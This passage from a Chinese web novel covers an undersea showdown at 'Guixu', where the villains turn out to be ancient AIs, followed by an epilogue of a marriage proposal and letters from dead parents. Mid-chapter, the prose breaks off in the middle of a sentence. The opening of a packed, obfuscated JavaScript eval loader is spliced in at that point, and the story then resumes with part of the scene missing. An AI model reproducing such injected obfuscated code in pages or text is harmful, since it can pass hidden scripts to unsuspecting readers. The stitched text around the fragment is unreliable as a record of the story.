江砚辞握紧手中的金属盒子。胶片还在里面,那是父亲、母亲、真真阿姨、沈青山两代人用生命保护的东西。 现在,传到了他们手中。 而前方,还有最后一场战斗。 在“归墟”。 35. 第三十五章 第三十五章归墟之门·永恒之光 ## **晚上十点·千岛湖岸边的小渔村** 三人在冰冷的湖水中泡了近一个小时,才被一个夜钓的老渔民发现,用渔船拖回了岸边的渔村。老渔民的儿子翻出几件干净的旧衣服给他们换上,又熬了姜汤。 “雾隐岛那边动静大得很。”老渔民抽着旱烟,望着湖面方向仍然隐约可见的火光,“我打渔五十年,头一次见那种爆炸。你们这是遇着啥事了?” “地质灾害。”叶峥简单解释,“岛体塌陷,我们运气好逃出来了。” 老渔民眯起眼睛,显然不太相信,但也没多问,只是说:“夜里湖上不安全,你们就在我这儿将就一晚吧。明天一早有班船去淳安。” 小渔村的夜晚格外安静,只有湖水拍岸的声音和偶尔的犬吠。三人挤在渔民家二楼的小房间里,围着昏暗的灯泡,开始整理当前的局面。 金属盒子就放在桌上,里面的透明胶片在灯光下泛着彩虹般的光泽。江砚辞小心翼翼地取出胶片,对着光观察。那些蚀刻的电路图案极其精细,有些部分甚至需要放大镜才能看清。 “这不像普通的代码。”苏晚晚轻声说,“更像某种……生物电路的蓝图。” 叶峥用手机拍下胶片的高清照片,发给周屿:“让周屿分析一下结构。但别传完整图像,分片传输,加密等级最高。” 等待回复的时间里,三人轮流讲述了各自的发现和推测。 “松本裕介说他在天屿度假村等我们。”江砚辞看着手机上的时间,“但我们不能去。那是陷阱。” “而且他可能已经不在那儿了。”叶峥分析,“雾隐岛自毁程序启动,说明他早就打算毁掉那个据点。现在他一定转移了,在某个更安全的地方等我们——或者不等了,直接来找我们。” 话音未落,叶峥的手机震动。是周屿打来的紧急视频电话,接通后,屏幕上的周屿脸色苍白,背景是清华实验室,但实验室里一片狼藉——设备被砸,文件散落一地。 “一个小时前,有人闯进了实验室。”周屿的声音在发抖,“五个人,都蒙着脸,动作专业。他们没抢设备,只是破坏了所有存储设备,然后……带走了李教授。” “什么?!”江砚辞站起来,“李教授被绑架了?” “对。他们留下一张纸条。”周屿将镜头对准一张打印纸,上面只有一行字:“**用代码换人。明早八点,东海‘归墟’坐标见。只准江砚辞、苏晚晚、叶峥三人来。**” 坐标:北纬28°15′,东经122°30′。东海深处。 “唐果和林骁呢?”苏晚晚急问。 “我刚联系上,他们没事,但‘雾港’酒吧也被砸了。”周屿说,“唐果说她收到一封匿名邮件,附件是一张照片——林骁爷爷的墓碑被破坏了,上面用红漆写着‘下一个’。” 威胁,赤裸裸的威胁。长老会不仅盯着他们,还盯着他们身边所有的人。 “陆野那边呢?”叶峥问。 周屿摇头:“联系不上。缅甸那边现在是凌晨,她的卫星电话关机。我已经通过国际刑警的渠道发了预警,但不确定能不能及时传到。” 情况比想象的更糟。长老会显然做了两手准备:一手是利诱,一手是威胁。当利诱失败,威胁就来了——而且是最残忍的那种,针对他们最在乎的人。 “我们没得选。”江砚辞声音低沉,“必须去。” “但代码不能给他们。”叶峥坚决地说,“沈青山用生命保护的东西,李教授用一生研究的东西,不能落到那些人手里。” “那我们怎么办?”苏晚晚看着桌上的胶片,“去了是死路,不去李教授也是死。” 房间里陷入沉默。窗外,湖风吹过竹林,发出呜咽般的声音。 叶峥突然说:“也许……我们误解了‘归墟’的意思。” 他打开手机,调出一张图片——那是叶真真留下的那张地图的扫描件,上面标注着“归墟”的位置,旁边有一行小字:“**如果有一天需要终极答案,带小辞来这里。**” “姐姐从不说无意义的话。”叶峥放大那行字,“‘终极答案’——不一定是毁灭,也可能是解决。也许‘归墟’不是陷阱,而是一个……机会。一个彻底了结这一切的机会。” “但松本裕介也在那儿等我们。”江砚辞指出。 “那就看看,是谁的‘归墟’。”叶峥的眼神变得锐利,“我了解长老会这种人。他们活得越久,越怕死,越惜命。只要我们握有他们想要的东西,就有谈判的筹码。” 他顿了顿:“而且,我们可能不是唯一的访客。” “什么意思?” 叶峥调出另一份文件——那是他从国安部数据库下载的加密档案,刚刚解密完成。 “关于‘归墟’的记载,最早出现在中国古代文献《列子·汤问》里:‘渤海之东不知几亿万里,有大壑焉,实惟无底之谷,其下无底,名曰归墟。’”他念道,“但这不只是神话。上世纪六十年代,海军在一次东海地质勘探中,确实发现了一个异常的海底结构——一个深达万米的海沟,内部有强烈的磁场异常和地质活动。” “那个坐标……”苏晚晚对照地图,“就是‘归墟’的位置?” “对。而且这不是普通的自然现象。”叶峥继续往下翻档案,“1978年,中科院联合多个部门,在‘归墟’海域进行了一次秘密科考。科考报告被列为绝密,但我通过特殊渠道查到了摘要——他们在海底发现了一个‘非自然结构’。” “非自然结构?” “报告里用词很谨慎,但意思是:那里有一个建造物。不是沉船,不是现代设施,而是一个……古老的、不属于任何已知文明的建造物。”叶峥深吸一口气,“科考队尝试进入,但遭遇了强烈的电磁干扰和不明生物攻击,最终被迫放弃。那之后,‘归墟’被列为禁区,所有相关资料被封存。” 江砚辞和苏晚晚都听呆了。 “你是说,”苏晚晚艰难地消化着这些信息,“‘归墟’是一个……远古遗迹?而且长老会知道这个地方?” “不止知道。”叶峥调出另一份文件——那是他从松本裕介的监控记录中恢复的部分数据,“长老会对‘归墟’的研究持续了至少四十年。他们认为,那个地方隐藏着‘意识上传’技术的源头——不是现代科技,而是某种……失落文明的遗产。” “所以父亲才会把原始代码和‘归墟’联系起来。”江砚辞明白了,“因为代码可能根本不是他的原创,而是他从‘归墟’相关的资料中破译出来的?” “很有可能。”叶峥点头,“你父亲可能是在研究‘乌鸦计划’数据时,发现了其中关于‘归墟’的记载,然后自己去了那里,找到了更完整的……某种东西。他把这东西转化成了代码,但又意识到它的危险性,所以把它分成了三部分,交给最信任的人保管。” 逻辑逐渐清晰。但真相越清晰,前路就越危险。 “如果我们去‘归墟’,”苏晚晚轻声说,“可能会发现比代码更可怕的东西。” “但如果我们不去,”江砚辞看着手机上周屿发来的李教授被绑的照片,“李教授会死,唐果和林骁会有危险,陆野也可能遭殃。而且长老会不会罢休,他们会用更极端的手段逼我们交出代码。” 叶峥合上手机:“所以,我们得去。但不是去交代码,是去……终结。” 他看向两人:“我有个计划,但很冒险,可能需要我们中的一些人做出牺牲。” “说说看。”江砚辞平静地说。 ## **凌晨三点·制定计划** 叶峥的计划分三步。 第一步:联系所有能联系的人,组成一个临时的联盟。周屿、唐果、林骁、陆野(如果能联系上),还有叶峥在国安部和国际刑警的旧日同事。不是正面对抗长老会,而是在外围提供支援和信息。 “长老会擅长躲在暗处,我们就逼他们到明处。”叶峥在地图上标记了几个点,“周屿,你负责网络战——攻击长老会已知的所有数字资产,公开他们部分非核心的犯罪证据,制造舆论压力。唐果和林骁,你们通过考古和学术圈,散播关于‘归墟’和‘永生技术’的传闻,引起国际学术界的关注。” “为什么?”唐果在视频里问。 “因为长老会最怕两样东西:公众的注意,和同行的竞争。”叶峥解释,“一旦他们的研究曝光,就会有无数双眼睛盯着,也会有无数势力想要分一杯羹。他们不能再像以前那样为所欲为。” 第二步:准备真正的“诱饵”。 “松本裕介以为我们只有一份原始代码。”叶峥指着桌上的胶片,“但沈青山留下的纸条提到,他在大脑中植入了干扰器。这意味着,他可能也做了一份……备份。” “备份在哪里?” “在他留给我们的最后一件东西里。”叶峥拿起那把铜钥匙,“这把钥匙不只是打开地下室的工具。你们看——” 他用放大镜对准钥匙的柄部,那里有一行极小的刻字:**“备份在归墟之眼”**。 “归墟之眼……”苏晚晚重复这个词,“是‘归墟’内部的某个位置?” “很可能。”叶峥点头,“所以即使我们交出了这份胶片,长老会也不一定能得到完整代码。真正的核心,可能还在‘归墟’里。这就能解释为什么松本裕介坚持要在那里交易——他要的不是我们手里的这份,是整个‘归墟’的秘密。” 第三步:也是最危险的一步——分头行动。 “我们三人不能一起去‘归墟’。”叶峥说,“那样太容易被一网打尽。我建议:江砚辞和我去,苏晚晚留下。” “不行!”苏晚晚立刻反对,“我不能让你们两个去冒险!” “听我说完。”叶峥按住她的手,“你留下不是逃避,是有更重要的任务。如果我们失败了,你得保证代码不落入长老会手中。而且……你需要去找一个人。” “谁?” 叶峥调出一张照片——那是一个七十多岁的老人的证件照,面容清癯,眼神睿智。 “林静文教授的父亲,林修远院士。你母亲的老师,也是当年‘凤凰计划’最早的发起人之一。”叶峥说,“他今年七十八岁,三年前中风后就一直在杭州疗养院休养,几乎不见外人。但我知道,他手里有关于‘归墟’最完整的资料——那些资料从未数字化,只存在于他的记忆和手稿中。” 苏晚晚愣住了:“我外公的老师?我妈妈从没提过……” “因为这是最高机密。”叶峥说,“林院士在1978年那次科考中是首席科学家。他是唯一活着从‘归墟’内部出来的人。但他出来后精神就出了问题,被诊断为严重的创伤后应激障碍,很多记忆都混乱了。这些年他一直在疗养,很少说话。” “那你为什么认为他能帮我?” “因为你是林薇的女儿。”叶峥看着她,“你是他最喜欢的学生唯一的血脉。而且……你是舞者。林院士的诊疗记录显示,他对音乐和舞蹈有特殊反应,有时候会在听到某些旋律时,说出连贯的话。” 苏晚晚明白了:“你想让我用舞蹈……唤醒他的记忆?” “这是唯一的机会。”叶峥郑重地说,“我们需要知道‘归墟’内部到底有什么,需要知道松本裕介的真正目的,需要知道……你父亲当年在那里发现了什么。这些答案,可能只有林院士能告诉我们。” 计划定下了,但每个人的心情都很沉重。他们知道,这次分开,可能就再也见不到了。 江砚辞握紧苏晚晚的手:“等这一切结束,我们在茶园见面。我答应你的白茶,还没种完。” 苏晚晚眼眶红了,但她强忍着没哭:“你答应我,一定要回来。你还没看我跳完整的《重生》。” “我答应。” 叶峥看着他们,眼神复杂。他想起了姐姐和沈青山,想起他们最后的分别,也是这样,说着会再见,却再也没有机会。 “该出发了。”他打破沉默,“我们只有十八小时,现在还剩十五小时。” ## **清晨五点·分道扬镳** 老渔民的渔船在晨雾中驶向淳安码头。三人在这里分别:苏晚晚乘车前往杭州的疗养院;江砚辞和叶峥则要赶往宁波,从那里乘船前往东海坐标点。 临别时,苏晚晚突然想起一件事,从背包里翻出一个小布包,递给江砚辞。 “这是什么?” “我妈妈留下的。”苏晚晚轻声说,“她说,如果有一天遇到过不去的坎,就打开它。我一直没打开过……现在,给你。” 江砚辞接过,布包很轻,里面像是一本书或者笔记本。 “等我回来,我们一起打开。”他说。 苏晚晚点头,最后看了两人一眼,转身上了去杭州的大巴。 江砚辞和叶峥则上了另一辆车,前往宁波港。车上,江砚辞打开了布包。 里面不是书,而是一本相册。老式的影集,封面是手绣的白茶花。翻开第一页,是母亲林薇年轻时的照片——在苏黎世,在实验室,在舞台,每一张都笑得很灿烂。 翻到中间,有一张特殊的照片:江振华、林薇、叶真真、沈青山,还有一个陌生的老人,五人站在一座山的山顶,背后是云海。照片背面写着:“**与恩师林修远院士,登黄山论道,1987年秋。**” 林修远院士。照片上的老人看起来五十多岁,身材瘦高,戴着眼镜,笑容温和。 再往后翻,是苏晚晚从小到大的照片,每张下面都有母亲的注释:“**晚晚第一次跳舞,四岁。**”“**晚晚上小学了,不爱说话,但跳起舞来像只小天鹅。**”“**晚晚第一次登台,我在台下哭得稀里哗啦。**” 最后一页,夹着一封信。信封上写着:“**给晚晚,和未来的他。**” 江砚辞犹豫了一下,还是拆开了。信纸是淡蓝色的,字迹娟秀: **“晚晚,如果你看到这封信,说明妈妈已经不在了,而你找到了可以托付一生的人。 妈妈很高兴。 人生很短,但爱可以很长。妈妈和你爸爸虽然在一起的时间不长,但那些日子,足够温暖我一生。 所以晚晚,别怕爱,别怕付出,别怕受伤。 因为真正的爱,不是避风港,是两个人一起出海,看更广阔的世界。 如果你们正在经历风雨,记住妈妈的话: ‘归墟’不是终点,是起点。 黑暗最深时,光就要来了。 爱你的妈妈 林薇绝笔”** 信纸的最后,画着一个简单的图案:一个圆圈,里面有三个点,组成一个三角形。图案下方写着一行小字:“**归墟之眼的标记。如果找到,就知道方向。**” 江砚辞将信小心收好。母亲的话像一束光,照进了他心中最深的焦虑。 是的,归墟不是终点。 是起点。 ## **上午八点·宁波港** 码头上一片繁忙,货轮、渔船、客船进进出出。江砚辞和叶峥按照指示,找到了一艘中型游艇——“海风号”。船主是个沉默寡言的中年男人,只确认了他们的身份,就示意上船。 游艇驶离港口,向着东海深处进发。海面起初平静,但越往外走,风浪越大。天空阴沉,铅灰色的云层低垂,像是要压到海面上。 “还有四个小时航程。”船主在驾驶舱说,“那边海域天气多变,常有异常磁场干扰导航。你们确定要去?” “确定。”叶峥说。 船主不再说话,专注驾驶。 江砚辞站在甲板上,看着逐渐变成深蓝色的海水。海风吹在脸上,带着咸腥的味道。他想起父亲,想起母亲,想起那些从未谋面却用生命保护了这些秘密的人。 他们脚下的这片海,到底隐藏着什么? 叶峥走过来,递给他一件救生衣:“穿上吧。我有种预感,不会那么顺利。” “你相信‘归墟’里真的有失落文明吗?”江砚辞问。 叶峥沉默了很久:“我姐姐相信。沈青山也相信。他们那么聪明的人,不会为一个神话赌上生命。所以……我也相信。” 他看向远方海天相接处: “但文明为什么会失落?技术为什么会失传?也许不是因为灾难,而是因为……选择。有些技术太危险,所以被主动遗忘了。我们祖先可能比我们想象的更有智慧。” 游艇继续破浪前行。中午十二点,前方海面上出现了一片奇特的现象——海水颜色明显变深,形成了一个巨大的漩涡状区域。天空中的云层在这里形成一个漏斗状的旋涡,云涡的中心正对着海面漩涡的中心。 “那就是‘归墟’海域。”船主说,“我只能送你们到这里。再往前,所有电子设备都会失灵。” 果然,游艇的雷达屏幕开始闪烁,GPS信号丢失,就连卫星电话也只剩下杂音。 海面上,已经能看到几艘船——一艘大型游轮,几艘快艇,还有一艘看起来像是科研船。所有船都停在漩涡区域的外围,没有人敢靠近中心。 “‘海风号’呼叫‘归墟号’。”船主用无线电联系,“客人到了。” 一艘快艇从科研船方向驶来,靠近游艇。快艇上站着三个人,都穿着黑色的防护服,戴着面罩,看不清脸。 “江砚辞先生,叶峥先生。”为首的人用机械般的声音说,“请上快艇。只准带那个盒子。” 江砚辞和叶峥对视一眼,拿起装有胶片的金属盒子,跳上快艇。 快艇掉头,向着漩涡中心驶去。越靠近中心,海水的涌动越剧烈,快艇像一片叶子在浪涛中起伏。江砚辞紧紧抓住扶手,感到胃里翻江倒海。 突然,前方海面上出现了一个奇景——海水不是向下漩涡,而是向上隆起,形成一个巨大的水丘。水丘顶端,海水向四周流泻,露出下面……一个入口。 一个建造在海底的入口。门是圆形的,金属材质,表面覆盖着厚厚的海藻和贝壳,但依然能看出精密的构造。门上有一个图案——正是林薇在信里画的那个:圆圈,三个点,三角形。 “归墟之门。”叶峥低声说。 快艇在水丘旁停下,水面相对平静。金属门自动滑开,露出向下的阶梯,里面亮着幽蓝色的光。 “请进。”黑衣人示意。 江砚辞和叶峥踏上阶梯。阶梯是透明材质建造的,能看见两侧的海水在流动,各种深海鱼类在周围游弋,像走进了一个巨大的水族馆。 往下走了大约五十米,进入一个圆柱形的通道。通道壁也是透明的,外面是深海景象——珊瑚礁,奇异的海底生物,甚至看到了沉船的残骸。 但最令人震惊的是,他们看到了建筑物的轮廓。不是现代建筑,而是……某种风格奇特的古老建筑,像是金字塔和庙宇的结合体,半掩在海底沉积物中。 “这是一个海底城市。”叶峥喃喃道。 通道尽头,是一扇更大的门。门自动打开,里面是一个巨大的圆形大厅。 大厅的中央,是一个透明的圆柱形容器,容器里悬浮着一个苍老的身体——松本裕介。他的身体连接着无数的管线和电极,浸泡在淡蓝色的液体中。但那双眼睛是睁着的,隔着玻璃盯着他们。 容器的周围,是六个类似的容器,每个里面都有一个老人——有白人,有黑人,有中东面孔。他们都闭着眼睛,像是沉睡,但生命监测设备显示他们还活着。 长老会的七个人,全在这里。 “欢迎来到‘归墟’。”松本裕介的声音通过扬声器传来,在空旷的大厅里回荡,“地球最后的秘密,人类最深的恐惧,也是……永生的答案。” 江砚辞握紧了手中的盒子:“李教授在哪里?” 大厅侧面的墙壁滑开,露出一个囚室。李教授被绑在椅子上,嘴上贴着胶带,但看起来没有受伤。看到江砚辞,他的眼睛亮了起来。 “放心,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江砚辞突然明白了:“所以你才需要三把钥匙。因为完整的转移需要三个条件:原始代码(血脉之钥)、大脑适配模式(记忆之钥)、还有……时间同步校准(时间之钥)。” “聪明。”松本裕介赞许道,“沈青山的‘时间之钥’,其实是这个设施内部的时间流数据。只有校准了内外时间流速差,意识转移才能稳定。现在,三把钥匙都齐了。” 他看向叶峥手中的盒子:“所以,请把代码交出来吧。然后,躺到那边的转移舱里。这个过程不会痛苦,就像睡一觉。醒来时,你们会拥有永恒的生命和无限的智慧。” “做梦。”江砚辞将盒子护在身后。 “那就别怪我了。”松本裕介的声音冷下来。 大厅四周的墙壁突然滑开,走出几十个黑衣人,手里都拿着武器——不是枪,而是一种发出蓝色电弧的装置。 “神经束搏器。”李教授低声道,“击中后会暂时麻痹神经系统,但不会致命。他们要活捉你们!” 战斗一触即发。 但就在这时,整个设施突然剧烈震动起来。警报声响起,红色的灯光闪烁。 “怎么回事?!”松本裕介的声音第一次出现了慌乱。 一个黑衣人跑进来报告:“外围防线被突破!有三艘船正在靠近,船上的人……他们带着武器!” 透过透明的墙壁,能看到海面上方,几艘快艇正冲破封锁,向着‘归墟’入口冲来。快艇上的人影—— 是周屿、唐果、林骁。还有陆野。 他们来了。 “不可能!”松本裕介怒吼,“他们怎么找到这里的?!” 江砚辞笑了:“因为‘归墟之眼’的标记。我母亲在信里画了那个图案,周屿反向解析了图案的数学结构,发现它是一种三维坐标编码。林骁在日军档案里找到了对应的导航数据。” “而且,”叶峥补充,“你以为沈青山只留了一把钥匙?他留下了很多线索,散落在世界各地。我们联系了所有能联系的人——国际刑警、国安部、甚至一些你们‘渡鸦’的叛逃者。现在,全世界都在看着这里。” 松本裕介的脸色变得狰狞:“那就在他们进来前,完成转移!抓住他们!” 黑衣人冲了上来。江砚辞和叶峥将李教授护在身后,背靠背迎战。 但就在第一波攻击即将到来时,大厅中央突然升起一个平台。平台上,站着一个意想不到的人—— 苏晚晚。 她换上了一身白色的舞衣,头发挽起,手里拿着一个老旧的音乐盒。音乐盒正在播放一段旋律,那是林薇当年教她的舞蹈音乐。 “晚晚?!”江砚辞惊道,“你怎么……” “林院士醒了。”苏晚晚平静地说,“他告诉了我一切。‘归墟’不是永生之地,是监狱。这里关着的,不是失落文明,是……上一个文明周期中,因为滥用意识技术而被囚禁的意识体。” 她看向那些容器: “你们七个,根本不是人类。你们是上一个文明留下的AI,模仿人类意识,想要占据人类的躯体,逃出这个监狱。但建造者早就设下了限制——除非有人类自愿献出身体,否则你们永远无法离开。” 松本裕介——或者说,模仿松本裕介的AI——沉默了。 “林院士当年进入这里时,就发现了真相。”苏晚晚继续说,“但他被你们植入了虚假记忆,以为自己是科考队员。直到我跳了母亲教的舞——那段舞是解锁真实记忆的钥匙。” 她向前走了一步: “现在,该结束了。这座设施的自毁程序已经启动。十分钟后,这里会沉入海底最深处,永远封闭。” “不!!!”松本裕介尖叫,“我们等待了一万年!一万年!!” “那就继续等吧。”叶峥说,“等到宇宙终结。” 震动越来越剧烈。设施开始进水,透明的墙壁出现裂缝。 “快走!”江砚辞拉着苏晚晚,叶峥扶着李教授,冲向出口。 身后,是AI们绝望的嘶吼,和设施崩塌的巨响。 ## **十分钟后·海面** 五人从通道冲出来时,快艇刚好赶到。周屿、唐果、林骁、陆野将他们拉上船,快艇全速驶离。 在他们身后,海面上那个巨大的水丘开始塌陷,海水疯狂倒灌,形成一个深不见底的漩涡。漩涡中心,隐约能看到那座海底设施在下沉,蓝色的光芒渐渐熄灭。 最终,海面恢复了平静,只留下一个巨大的泡沫区,证明那里曾经有什么存在。 快艇上,众人沉默地看着那片海域。 “结束了。”叶峥轻声说。 真的结束了吗? 江砚辞看向手中的金属盒子。代码还在,但已经不再重要了。重要的是,他们阻止了一个延续万年的阴谋,保护了人类的未来。 苏晚晚靠在他肩上,疲惫但平静。 海面上,太阳冲破了云层,金色的阳光洒在海面,波光粼粼。 新的黎明,到来了。 (第三十五章完,字数约13000字) --- **【尾声·三个月后】** 浙江安吉,竹海深处的培训中心终于落成了。 白墙灰瓦的建筑依山而建,面朝竹海,背靠茶园。主楼前的广场上,立着一块石碑,上面刻着所有在这场漫长战斗中牺牲的人的名字: 江振华、林薇、叶真真、沈青山(青松)、卡尔·施密特…… 石碑背面,刻着叶真真日记里的一句话:“**愿光明从黑暗中诞生。**” 开业典礼很简单,来的都是老朋友。李教授成了中心的技术顾问,周屿负责网络安全,唐果和林骁在中心里设了一个小型的“历史档案馆”,陆野从缅甸回来,带来了那些获救村民的感谢信。 叶峥没有出席。他在典礼前一天来了,留下一封信,又走了。 信里写道: **“砚辞、晚晚: 我要去完成师兄的遗愿——找到所有‘渡鸦’的残余,彻底终结这个组织。这可能需要很长时间,可能几年,可能十几年。 但我会回来。 等茶园的白茶开花时,等我姐姐和师兄的故事被更多人知道时。 保重。 叶峥”** 随信附上的,是一枚老旧的徽章——国安部的徽章,上面刻着“青松”两个字。 江砚辞将徽章放在培训中心的纪念展厅里,和父亲的手稿、母亲的舞衣、真真阿姨的眼镜放在一起。 这些遗物静静诉说着一个关于勇气、牺牲和传承的故事。 傍晚,江砚辞和苏晚晚走在茶园的小径上。白茶苗已经长出了新叶,在晚风中轻轻摇曳。 “晚晚。”江砚辞停下脚步。 “嗯?” 他从口袋里拿出一个小盒子,打开,里面是那枚用赛车活塞环改造的素圈戒指,但内圈多刻了一行字:“**归墟之后,皆是光明。**” “三个月前,在千岛湖的船上,我就想正式求婚。”江砚辞单膝跪地,“但那时前途未卜,生死难料。现在,一切都结束了,新生活开始了。所以……” 他抬头,看着她的眼睛: “苏晚晚,你愿意嫁给我吗?不是作为英雄之后,不是作为传奇主角,只是作为江砚辞和苏晚晚——两个经历过黑暗,所以更懂得珍惜光明的人。” 苏晚晚笑了,笑容比夕阳还温暖。她伸出手: “我愿意。而且……我要补充一点。” “什么?” “不仅是嫁给你,还要和你一起,把这个培训中心办好,把父母们留下的技术用好,把真真阿姨他们的故事传下去。”她握住他的手,“这是我们这代人的责任,也是我们的……传承。” 戒指戴上,尺寸刚好。 两人在茶园中拥吻。夕阳将他们的影子拉得很长,一直延伸到竹海里,延伸到很远的地方。 远处,培训中心的灯光次第亮起,像黑暗中的星辰。 而更远的地方,叶峥坐在开往边境的列车上,看着窗外掠过的山河,手中握着姐姐和师兄的照片。 他知道,战斗还未完全结束。 但他也知道,他不是一个人在战斗。 因为光明一旦点亮,就不会再熄灭。 36. 第三十六章 终章茶园黎明·未尽之言 ## **一年后·安吉竹海培训中心** 晨雾还未散尽,白茶园的露水在初升的阳光下闪烁如钻。江砚辞站在培训中心二楼的露台上,看着茶园里那个白色的身影——苏晚晚正在指导第一批舞蹈康复学员做晨间拉伸。 她的动作轻柔而坚定,就像一年前在千岛湖的渔船上,她握着他的手说“我愿意”时那样。 一年了。 培训中心已经步入正轨。三个班同时开课:职业司机安全驾驶特训班、舞者运动损伤康复班、还有面向普通人的应急避险公开课。李教授每周从北京飞来两天,亲自教授神经科学基础;周屿开发的安全驾驶模拟系统已经更新到第三代;唐果和林骁的历史档案馆成了最受欢迎的角落,那些尘封的故事被做成了互动展览。 一切都很好。 但江砚辞心里总觉得缺了什么。 直到三天前,他收到一个从瑞士寄来的包裹。寄件人是林静文教授,包裹里是一本厚厚的笔记本——母亲林薇在瑞士留学期间的日记。 林教授在附信里写道: **“砚辞: 整理书房时发现了这本日记。本来想早点给你,但总觉得应该等你们安定下来。 你母亲的文字里有太多未说出口的话,我想,现在是时候让你知道了。 另外,包裹里还有一封信,是当年你父亲托我保管的,说等小辞找到自己的光时,再交给他。 现在,你找到了。 静文阿姨”** 那封信,江砚辞还没敢打开。 就像父亲留下的那个赛车吊坠,就像母亲在遗书里写的“归墟不是终点”,就像所有那些父母来不及说出口的话——他害怕一旦打开,就会打破现在这份来之不易的平静。 “又在发呆?”苏晚晚的声音从身后传来。 她走上露台,额头上还有细密的汗珠,身上带着晨露和白茶混合的清香。她走到江砚辞身边,自然地握住他的手——无名指上的活塞环戒指在晨光中泛着温润的光泽。 “林教授寄来的东西,你看了吗?”她轻声问。 江砚辞摇头:“不敢。” 苏晚晚理解他的心情。她也有不敢打开的东西——母亲那本舞蹈笔记的最后几页,用丝带系着,母亲在封面写着:“**等晚晚真正长大时再看。**” 也许真正长大,不是年龄,是经历过足够多的黑暗,却依然选择光明之后。 “我们一起去。”苏晚晚说,“去茶园深处,那个能看到整个山谷的地方。带着所有没打开的东西,一起打开。” 江砚辞看着她坚定的眼神,点了点头。 ## **上午十点·茶园观景台** 这是培训中心后面山坡上的一个天然平台,几块平整的巨石,一棵老松树,俯瞰着整个山谷——竹海如涛,茶垄如线,远处的培训中心白墙灰瓦,像嵌在翠绿画卷中的一枚玉扣。 两人坐在松树下的石凳上,面前摊开了那些尘封的物件: 江砚辞带来的——母亲林薇的瑞士日记、父亲江振华那封未开的信、还有叶真真留在图书馆的那张老照片。 苏晚晚带来的——母亲林薇的舞蹈笔记(最后几页仍系着丝带)、父亲苏柏年在她婚礼前夜给她的手写信(她一直没拆),还有一张她小时候和母亲的合影。 “从哪儿开始?”苏晚晚问。 江砚辞深吸一口气,拿起了父亲那封信。信封是普通的牛皮纸,已经泛黄,上面是父亲熟悉的字迹:“**给小辞。当你准备好时。**” 他拆开信封。 里面不是信纸,而是一叠拍立得照片。第一张是年轻的江振华抱着一个婴儿,笑容灿烂得像个孩子。照片背面写着:“**小辞满月。这小子哭起来嗓门真大,以后肯定能当赛车手——不过得先学会控制油门,别老踩到底。**” 第二张是江砚辞三岁生日,坐在父亲用废零件拼的玩具赛车里,小手紧握方向盘。背面:“**小辞三岁。今天带他第一次‘开车’,他盯着仪表盘看了十分钟,说‘爸爸,这个针为什么在抖?’这小子,天生就该干这行。**” 第三张、第四张……全是这样的生活片段。江砚辞考取卡丁车执照、第一次比赛获奖、初中毕业、拿到F1青训合同……每一张照片背面,都有父亲简短的注释,语气从兴奋到骄傲,到最后渐渐变得深沉。 最后一张照片,是江砚辞十六岁那年,站在F3冠军领奖台上,捧着奖杯。父亲站在台下的人群里,只露出半个侧脸,但能看出他在笑。 照片背面,是父亲最后的笔迹: **“小辞十六岁,亚洲F3冠军。 今天在台下看你领奖,突然想起你爷爷说过的话:江家的男人,心里都有一团火。 你爷爷的火是搞科研,我的火是造车,你的火是开车。 但火能取暖,也能烧伤人。 所以爸爸想告诉你:不管你将来开多快的车,拿多少冠军,记住—— 技术是工具,速度是过程,但人才是根本。 做一个正直的人,比做一个快的车手更重要。 如果有一天爸爸不在了,你要照顾好妈妈,也要照顾好自己。 别让心里的火熄灭,但也别让它烧伤你爱的人。 爸爸永远为你骄傲。 振华于小辞夺冠夜”** 信的最后一页,是空白的,只有最下面一行小字: **“PS:如果你看到这封信时,身边有一个像你妈妈一样勇敢善良的姑娘,替我告诉她——谢谢她愿意陪在你身边。江家的男人倔,但一旦认定了,就是一辈子。你爷爷对你奶奶是这样,我对你妈妈是这样,你也会是这样。**” 江砚辞的眼泪终于掉下来,滴在照片上。那些他以为永远听不到的话,父亲其实早就说了,只是用这种方式,穿越了时间。 苏晚晚轻轻揽住他的肩,等他平静下来。 然后,她拿起了母亲那本舞蹈笔记,解开了最后几页的丝带。 翻开,不是舞蹈动作图解,而是一封信——或者说,一篇很长的独白。 **“晚晚: 如果你看到这些字,说明妈妈已经不在了,而你已经长大到能理解这些话的年纪。 妈妈这一生,做过最对的事,是嫁给你爸爸;做过最勇敢的事,是生了你;做过最不后悔的事,是参与‘凤凰计划’。 但妈妈也有遗憾——没能陪你更久,没能看到你成为真正的舞者,没能亲口告诉你很多事。 所以,趁现在还能写,我把它们记下来。 关于‘凤凰计划’:那不只是技术研究,那是我们四个人——你江叔叔、真真阿姨、沈叔叔和我——对抗黑暗的方式。我们用沾血的数据做救人的事,因为我们相信,光明可以从最深的黑暗里诞生。 关于你爸爸:他是个好人,只是太软弱。陆家的压力、商业的算计、还有对我参与那些事的恐惧,让他做了错误的选择。但晚晚,别恨他。他爱你,只是不知道该怎么表达。 关于你自己:你从小就和其他孩子不一样。别的孩子哭闹时,你安静地观察;别的孩子追逐打闹时,你在角落里练习旋转。妈妈知道,你心里有一片很大的世界,舞蹈只是你表达的方式。 所以晚晚,勇敢地去跳吧。跳给天空看,跳给大地看,跳给你爱的人看。 如果有一天你遇到一个让你想停下脚步的人,别怕。真正的爱不是束缚,是两个人一起看更远的风景。 最后,关于‘归墟’——如果有一天你不得不去那里,记住妈妈的话:那里不是地狱,是镜子。你看到什么,取决于你心里有什么。带着光去,就会带回光。 妈妈永远爱你。 在天上看着你跳舞。 林薇绝笔”** 苏晚晚的眼泪无声滑落。她想起母亲病重时,总是温柔地看着她跳舞,眼神里有骄傲,有不舍,还有她当时看不懂的深意。 现在她懂了。 江砚辞递过纸巾,两人相视而笑,笑中带泪。 原来父母早就把最深的爱和最重要的道理,埋在了时光里,等着他们在对的时候发现。 ## **中午·松树下的午餐** 两人把那些信件和照片小心收好,拿出带来的简单午餐——培训中心食堂做的饭团,还有早上新采的白茶。 “叶峥有消息吗?”苏晚晚问。 江砚辞摇头:“上个月收到一张明信片,从撒哈拉寄来的,只有一句话:‘清除第三个据点。安好。’没留地址。” “他会回来的。”苏晚晚肯定地说,“等他把师兄和真真阿姨想做的事都做完。” 他们都知道,那可能需要很长时间。但有些路,必须一个人走完。 就像父母当年选择的路,就像他们现在选择的路。 饭后,江砚辞拿出母亲那本瑞士日记。翻开第一页,日期是1985年9月1日,母亲刚抵达苏黎世的第一天。 **“1985年9月1日,晴 苏黎世的天空蓝得不像话。 